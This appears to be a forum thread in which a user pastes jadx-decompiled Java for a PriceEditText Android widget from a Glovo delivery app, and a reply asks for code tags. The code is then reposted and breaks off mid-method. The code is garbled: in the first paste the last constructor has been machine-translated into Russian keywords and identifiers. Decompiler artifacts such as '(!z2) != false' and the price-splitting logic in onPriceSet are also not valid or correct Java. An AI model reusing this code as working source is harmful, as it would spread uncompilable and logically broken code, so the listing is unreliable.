"IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
this.binding.editTextDecimal.setOnFocusChangeListener(new c(this));
this.binding.editTextDecimal.setOnKeyListener(new d(this));
}
public final void setDecimalDigits(int i) {
boolean z;
boolean z2;
if (i >= 0) {
if (this.decimalDigits > i) {
z = true;
} else {
z = false;
}
this.decimalDigits = i;
if (i > 0) {
z2 = true;
} else {
z2 = false;
}
setShouldShowDecimals(z2);
this.binding.editTextDecimal.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
this.binding.editTextDecimal.setHint(StringsKt.w(this.zeroChar, i));
if (z) {
EditText editText = this.binding.editTextDecimal;
editText.setText(editText.getText());
return;
}
return;
}
throw new IllegalArgumentException(a.b("decimalDigits can't be < 0 but is: ", i));
}
@override // android.view.View
public void setEnabled(boolean enabled) {
super.setEnabled(enabled);
this.binding.editTextInteger.setEnabled(enabled);
this.binding.editTextDecimal.setEnabled(enabled);
}
public final void setErrorEnabled(boolean z) {
this.errorEnabled = z;
setEditTextsError();
setUnderlineError();
}
public final void setIntegerDigits(int i) {
if (i >= 0) {
this.integerDigits = i;
this.binding.editTextInteger.setFilters(new InputFilter.LengthFilter[]{new InputFilter.LengthFilter(i)});
return;
}
throw new IllegalArgumentException(a.b("integerDigits can't be < 0 but is: ", i));
}
public final void setOnPriceChangeListener(OnPriceChangeListener onPriceChangeListener) {
this.onPriceChangeListener = onPriceChangeListener;
}
public final void setPrice(double d) {
if (d >= 0.0d) {
this.innerPrice = d;
onPriceSet(d);
return;
}
throw new IllegalArgumentException("price can't be < 0.0 but is: " + d);
}
/* JADX WARN: 'super' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText (контекст контекста, набор атрибутов AttributeSet, int i) {
супер(контекст, набор атрибутов, я);
Intrinsics.checkNotNullParameter(контекст, "контекст");
PriceEditTextBinding inflate = PriceEditTextBinding.inflate(LayoutInflater.from(context), this);
Intrinsics.checkNotNullExpressionValue(inflate, "inflate(LayoutInflater.from(context), this)");
this.binding = раздувать;
Строка строка = context.getString(j.zero);
Intrinsics.checkNotNullExpressionValue(строка, "context.getString(com.gl…app.design.R.string.zero)");
this.zeroChar = строка;
this.integerTextWatcher = новый IntegerTextWatcher (это);
this.decimalTextWatcher = новый DecimalTextWatcher (это);
Палитра палитра = Palette.f;
Объект obj = t3.aa;
this.greenColor = ada (контекст, палитра.c);
this.grayColor = ada(контекст, Palette.wc);
this.redColor = ada(context, Palette.mc);
this.shouldShowDecimals = истина;
this.integerDigits = DEFAULT_INTEGER_DIGITS;
this.decimalDigits = DEFAULT_DECIMAL_DIGITS;
}
}
Ya trying to make us go blind?
Please go back and modify that gobble-dee-gook to be inclosed in [code=java] and [/code]
Also, when you paste that text make sure that it is already /n terminated (i.e. Unix), vs /r/n (i.e. DOS).
Previewing would help too.
Java:
package glovoapp.delivery.detail.pickup.upload.quiero;
import android.content.Context;
import android.support.v4.media.a;
import android.text.Editable;
import android.text.InputFilter;
import android.util.AttributeSet;
import android.view.KeyEvent;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import com.glovoapp.theme.Palette;
import g3.b;
import glovoapp.delivery.crossdocking.databinding.PriceEditTextBinding;
import glovoapp.utils.l;
import hu.e;
import hu.j;
import java.util.Arrays;
import java.util.List;
import java.util.ListIterator;
import java.util.Locale;
import kotlin.Metadata;
import kotlin.collections.CollectionsKt;
import kotlin.jvm.JvmOverloads;
import kotlin.jvm.internal.DefaultConstructorMarker;
import kotlin.jvm.internal.Intrinsics;
import kotlin.jvm.internal.SourceDebugExtension;
import kotlin.jvm.internal.StringCompanionObject;
import kotlin.text.Regex;
import kotlin.text.StringsKt;
import t3.a;
@Metadata(d1 = {"\u0000f\n\u0002\u0018\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\b\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0002\b\t\n\u0002\u0018\u0002\n\u0002\u0010\u000b\n\u0002\b\b\n\u0002\u0010\u0006\n\u0002\b\u0004\n\u0002\u0018\u0002\n\u0000\n\u0002\u0018\u0002\n\u0002\b\r\n\u0002\u0010\u000e\n\u0002\b\u0002\n\u0002\u0018\u0002\n\u0000\n\u0002\u0010\f\n\u0002\b\u0002\n\u0002\u0010\u0002\n\u0002\b\r\b\u0007\u0018\u0000 D2\u00020\u0001:\u0004DEFGB%\b\u0007\u0012\u0006\u0010\u0002\u001a\u00020\u0003\u0012\n\b\u0002\u0010\u0004\u001a\u0004\u0018\u00010\u0005\u0012\b\b\u0002\u0010\u0006\u001a\u00020\u0007¢\u0006\u0002\u0010\bJ\u0018\u00104\u001a\u00020\u00152\u0006\u00105\u001a\u0002062\u0006\u00107\u001a\u000208H\u0002J\u0010\u00109\u001a\u00020\u00152\u0006\u00105\u001a\u000206H\u0002J\b\u0010:\u001a\u00020;H\u0014J\u0010\u0010<\u001a\u00020;2\u0006\u0010*\u001a\u00020\u001eH\u0002J\b\u0010=\u001a\u00020;H\u0002J\b\u0010>\u001a\u00020;H\u0002J\u0010\u0010?\u001a\u00020;2\u0006\[email protected]\u001a\u00020\u0015H\u0016J\b\u0010A\u001a\u00020;H\u0002J\u0010\u0010B\u001a\u00020;2\u0006\u0010C\u001a\u00020\u0015H\u0002R\u0011\u0010\t\u001a\u00020\n¢\u0006\b\n\u0000\u001a\u0004\b\u000b\u0010\fR$\u0010\u000e\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u000f\u0010\u0010\"\u0004\b\u0011\u0010\u0012R\u0012\u0010\u0013\u001a\u00060\u0014R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R$\u0010\u0016\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b\u0017\u0010\u0018\"\u0004\b\u0019\u0010\u001aR\u0010\u0010\u001b\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u0010\u0010\u001c\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u000e\u0010\u001d\u001a\u00020\u001eX\u0082\u000e¢\u0006\u0002\n\u0000R$\u0010\u001f\u001a\u00020\u00072\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b \u0010\u0010\"\u0004\b!\u0010\u0012R\u0012\u0010\"\u001a\u00060#R\u00020\u0000X\u0082\u0004¢\u0006\u0002\n\u0000R\u001c\u0010$\u001a\u0004\u0018\u00010%X\u0086\u000e¢\u0006\u000e\n\u0000\u001a\u0004\b&\u0010'\"\u0004\b(\u0010)R$\u0010*\u001a\u00020\u001e2\u0006\u0010\r\u001a\u00020\[email protected]\u0086\u000e¢\u0006\f\u001a\u0004\b+\u0010,\"\u0004\b-\u0010.R\u0010\u0010/\u001a\u00020\u00078\u0002X\u0083\u0004¢\u0006\u0002\n\u0000R\u001e\u00100\u001a\u00020\u00152\u0006\u0010\r\u001a\u00020\[email protected]\u0082\u000e¢\u0006\b\n\u0000\"\u0004\b1\u0010\u001aR\u000e\u00102\u001a\u000203X\u0082\u0004¢\u0006\u0002\n\u0000¨\u0006H"}, d2 = {"Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText;", "Landroid/widget/LinearLayout;", "context", "Landroid/content/Context;", "attrs", "Landroid/util/AttributeSet;", "defStyleAttr", "", "(Landroid/content/Context;Landroid/util/AttributeSet;I)V", "binding", "Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "getBinding", "()Lglovoapp/delivery/crossdocking/databinding/PriceEditTextBinding;", "value", "decimalDigits", "getDecimalDigits", "()I", "setDecimalDigits", "(I)V", "decimalTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$DecimalTextWatcher;", "", "errorEnabled", "getErrorEnabled", "()Z", "setErrorEnabled", "(Z)V", "grayColor", "greenColor", "innerPrice", "", "integerDigits", "getIntegerDigits", "setIntegerDigits", "integerTextWatcher", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$IntegerTextWatcher;", "onPriceChangeListener", "Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "getOnPriceChangeListener", "()Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;", "setOnPriceChangeListener", "(Lglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText$OnPriceChangeListener;)V", "price", "getPrice", "()D", "setPrice", "(D)V", "redColor", "shouldShowDecimals", "setShouldShowDecimals", "zeroChar", "", "checkDecimalPointEvent", "s", "Landroid/text/Editable;", "char", "", "checkEmptyInteger", "onFinishInflate", "", "onPriceSet", "onPriceTextChanged", "setEditTextsError", "setEnabled", "enabled", "setUnderlineError", "setUnderlineState", "focused", "Companion", "DecimalTextWatcher", "IntegerTextWatcher", "OnPriceChangeListener", "delivery-crossdocking_release"}, k = 1, mv = {1, 8, PriceEditText.$stable}, xi = 48)
@SourceDebugExtension({"SMAP\nPriceEditText.kt\nKotlin\n*S Kotlin\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n+ 2 View.kt\nandroidx/core/view/ViewKt\n+ 3 _Collections.kt\nkotlin/collections/CollectionsKt___CollectionsKt\n+ 4 ArraysJVM.kt\nkotlin/collections/ArraysKt__ArraysJVMKt\n*L\n1#1,317:1\n262#2,2:318\n731#3,9:320\n37#4,2:329\n*S KotlinDebug\n*F\n+ 1 PriceEditText.kt\nglovoapp/delivery/detail/pickup/upload/quiero/PriceEditText\n*L\n47#1:318,2\n229#1:320,9\n230#1:329,2\n*E\n"})
/* loaded from: C:\Users\Diren\AppData\Local\Temp\jadx-18309976577588970056.dex */
public final class PriceEditText extends LinearLayout {
private static final int DEFAULT_DECIMAL_DIGITS = 2;
private static final int DEFAULT_INTEGER_DIGITS = 6;
private final PriceEditTextBinding binding;
private int decimalDigits;
private final DecimalTextWatcher decimalTextWatcher;
private boolean errorEnabled;
private final int grayColor;
private final int greenColor;
private double innerPrice;
private int integerDigits;
private final IntegerTextWatcher integerTextWatcher;
private OnPriceChangeListener onPriceChangeListener;
private final int redColor;
private boolean shouldShowDecimals;
private final String zeroChar;
public static final Companion Companion = new Companion((DefaultConstructorMarker) null);
public static final int $stable = 8;
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context) {
this(context, null, 0, DEFAULT_INTEGER_DIGITS, null);
Intrinsics.checkNotNullParameter(context, "context");
}
/* JADX WARN: 'this' call moved to the top of the method (can break code semantics) */
@JvmOverloads
public PriceEditText(Context context, AttributeSet attributeSet) {
this(context, attributeSet, 0, 4, null);
Intrinsics.checkNotNullParameter(context, "context");
}
public /* synthetic */ PriceEditText(Context context, AttributeSet attributeSet, int i, int i2, DefaultConstructorMarker defaultConstructorMarker) {
this(context, (i2 & DEFAULT_DECIMAL_DIGITS) != 0 ? null : attributeSet, (i2 & 4) != 0 ? 0 : i);
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkDecimalPointEvent(Editable s, char r5) {
int o = StringsKt.o(s, r5, 0, false, (int) DEFAULT_INTEGER_DIGITS);
if (o == -1) {
return false;
}
this.binding.editTextInteger.setText(StringsKt.removeRange(s, o, o + 1), TextView.BufferType.NORMAL);
if (!this.shouldShowDecimals) {
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
this.binding.editTextDecimal.requestFocus();
this.binding.editTextDecimal.setSelection(0);
return true;
}
/* JADX INFO: Access modifiers changed from: private */
public final boolean checkEmptyInteger(Editable s) {
if (StringsKt.isBlank(s)) {
Intrinsics.checkNotNullExpressionValue(this.binding.editTextDecimal.getText(), "binding.editTextDecimal.text");
if ((!StringsKt.isBlank(r3)) != false && this.shouldShowDecimals) {
this.integerTextWatcher.byDisabling(new checkEmptyInteger.1(this));
EditText editText = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
l.a(editText);
return true;
}
return false;
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$0(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (!z && !priceEditText.binding.editTextDecimal.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$1(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if (i == 22 && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextInteger");
int length = priceEditText.binding.editTextInteger.getText().length();
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == length && editText.getSelectionEnd() == length) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextDecimal.requestFocus();
priceEditText.binding.editTextDecimal.setSelection(0);
return true;
}
}
return false;
}
/* JADX INFO: Access modifiers changed from: private */
public static final void onFinishInflate$lambda$2(PriceEditText priceEditText, View view, boolean z) {
boolean z2;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
boolean z3 = false;
if (!z && !priceEditText.binding.editTextInteger.hasFocus()) {
z2 = false;
} else {
z2 = true;
}
priceEditText.setUnderlineState(z2);
if (z) {
Editable text = priceEditText.binding.editTextInteger.getText();
if (text == null || text.length() == 0) {
z3 = true;
}
if (z3) {
priceEditText.binding.editTextInteger.setText(priceEditText.zeroChar, TextView.BufferType.NORMAL);
}
}
}
/* JADX INFO: Access modifiers changed from: private */
public static final boolean onFinishInflate$lambda$3(PriceEditText priceEditText, View view, int i, KeyEvent keyEvent) {
boolean z;
Intrinsics.checkNotNullParameter(priceEditText, "this$0");
if ((i == 67 || i == 21) && keyEvent.getAction() == 0) {
EditText editText = priceEditText.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
Intrinsics.checkNotNullParameter(editText, "<this>");
if (editText.getSelectionStart() == 0 && editText.getSelectionEnd() == 0) {
z = true;
} else {
z = false;
}
if (z) {
priceEditText.binding.editTextInteger.requestFocus();
EditText editText2 = priceEditText.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
return true;
}
}
return false;
}
private final void onPriceSet(double price) {
boolean z;
List emptyList;
boolean z2;
boolean z3;
if (price == 0.0d) {
z = true;
} else {
z = false;
}
if (z) {
this.integerTextWatcher.byDisabling(new onPriceSet.1(this));
this.decimalTextWatcher.byDisabling(new onPriceSet.2(this));
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(price);
return;
}
return;
}
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String format = String.format(Locale.US, b.g("%.", this.decimalDigits, "f"), Arrays.copyOf(new Object[]{Double.valueOf(price)}, 1));
Intrinsics.checkNotNullExpressionValue(format, "format(locale, format, *args)");
List split = new Regex("\\.").split(StringsKt.x(format, ',', '.'), 0);
if (!split.isEmpty()) {
ListIterator listIterator = split.listIterator(split.size());
while (listIterator.hasPrevious()) {
if (((String) listIterator.previous()).length() == 0) {
z3 = true;
} else {
z3 = false;
}
if (!z3) {
emptyList = CollectionsKt.take(split, listIterator.nextIndex() + 1);
break;
}
}
}
emptyList = CollectionsKt.emptyList();
String[] strArr = (String[]) emptyList.toArray(new String[0]);
if (strArr.length == 0) {
z2 = true;
} else {
z2 = false;
}
if ((!z2) != false) {
this.integerTextWatcher.byDisabling(new onPriceSet.3(this, strArr[0]));
}
if (strArr.length > 1) {
this.decimalTextWatcher.byDisabling(new onPriceSet.4(this, strArr[1]));
}
OnPriceChangeListener onPriceChangeListener2 = this.onPriceChangeListener;
if (onPriceChangeListener2 != null) {
onPriceChangeListener2.onPriceChanged(price);
}
}
/* JADX INFO: Access modifiers changed from: private */
public final void onPriceTextChanged() {
int i;
double d;
String obj = this.binding.editTextInteger.getText().toString();
String obj2 = this.binding.editTextDecimal.getText().toString();
Integer intOrNull = StringsKt.toIntOrNull(obj);
int i2 = 0;
if (intOrNull != null) {
i = intOrNull.intValue();
} else {
i = 0;
}
Integer intOrNull2 = StringsKt.toIntOrNull(obj2);
if (intOrNull2 != null) {
i2 = intOrNull2.intValue();
}
Double doubleOrNull = StringsKt.toDoubleOrNull(i + "." + i2);
if (doubleOrNull != null) {
d = doubleOrNull.doubleValue();
} else {
d = 0.0d;
}
this.innerPrice = d;
OnPriceChangeListener onPriceChangeListener = this.onPriceChangeListener;
if (onPriceChangeListener != null) {
onPriceChangeListener.onPriceChanged(d);
}
}
private final void setEditTextsError() {
int i;
if (this.errorEnabled) {
i = this.redColor;
} else {
i = this.greenColor;
}
this.binding.editTextInteger.setTextColor(i);
this.binding.editTextDecimal.setTextColor(i);
}
private final void setShouldShowDecimals(boolean z) {
int i;
this.shouldShowDecimals = z;
EditText editText = this.binding.editTextDecimal;
Intrinsics.checkNotNullExpressionValue(editText, "binding.editTextDecimal");
if (z) {
i = 0;
} else {
i = 8;
}
editText.setVisibility(i);
if (!z) {
this.binding.editTextInteger.requestFocus();
EditText editText2 = this.binding.editTextInteger;
Intrinsics.checkNotNullExpressionValue(editText2, "binding.editTextInteger");
l.a(editText2);
this.binding.editTextInteger.setTextAlignment(4);
this.binding.editTextDecimal.setText((CharSequence) null);
return;
}
this.binding.editTextInteger.setTextAlignment(3);
}
private final void setUnderlineError() {
setUnderlineState(this.binding.editTextInteger.hasFocus() || this.binding.editTextDecimal.hasFocus());
}
private final void setUnderlineState(boolean focused) {
int i;
ViewGroup.LayoutParams layoutParams = this.binding.underline.getLayoutParams();
View view = this.binding.underline;
if (focused) {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height_focused);
i = this.greenColor;
} else {
layoutParams.height = getContext().getResources().getDimensionPixelSize(e.underline_height);
i = this.grayColor;
}
view.setBackgroundColor(i);
if (this.errorEnabled) {
this.binding.underline.setBackgroundColor(this.redColor);
}
this.binding.underline.setLayoutParams(layoutParams);
this.binding.underline.requestLayout();
}
public final PriceEditTextBinding getBinding() {
return this.binding;
}
public final int getDecimalDigits() {
return this.decimalDigits;
}
public final boolean getErrorEnabled() {
return this.errorEnabled;
}
public final int getIntegerDigits() {
return this.integerDigits;
}
public final OnPriceChangeListener getOnPriceChangeListener() {
return this.onPriceChangeListener;
}
/* renamed from: getPrice reason: from getter */
public final double getInnerPrice() {
return this.innerPrice;
}
@override // android.view.View
public void onFinishInflate() {
super.onFinishInflate();
setOrientation(1);
setIntegerDigits(DEFAULT_INTEGER_DIGITS);
setDecimalDigits(DEFAULT_DECIMAL_DIGITS);
this.binding.editTextInteger.addTextChangedListener(this.integerTextWatcher);
this.binding.editTextInteger.setOnFocusChangeListener(new a(this));
this.binding.editTextInteger.setOnKeyListener(new b(this));
this.binding.editTextDecimal.addTextChangedListener(this.decimalTextWatcher);
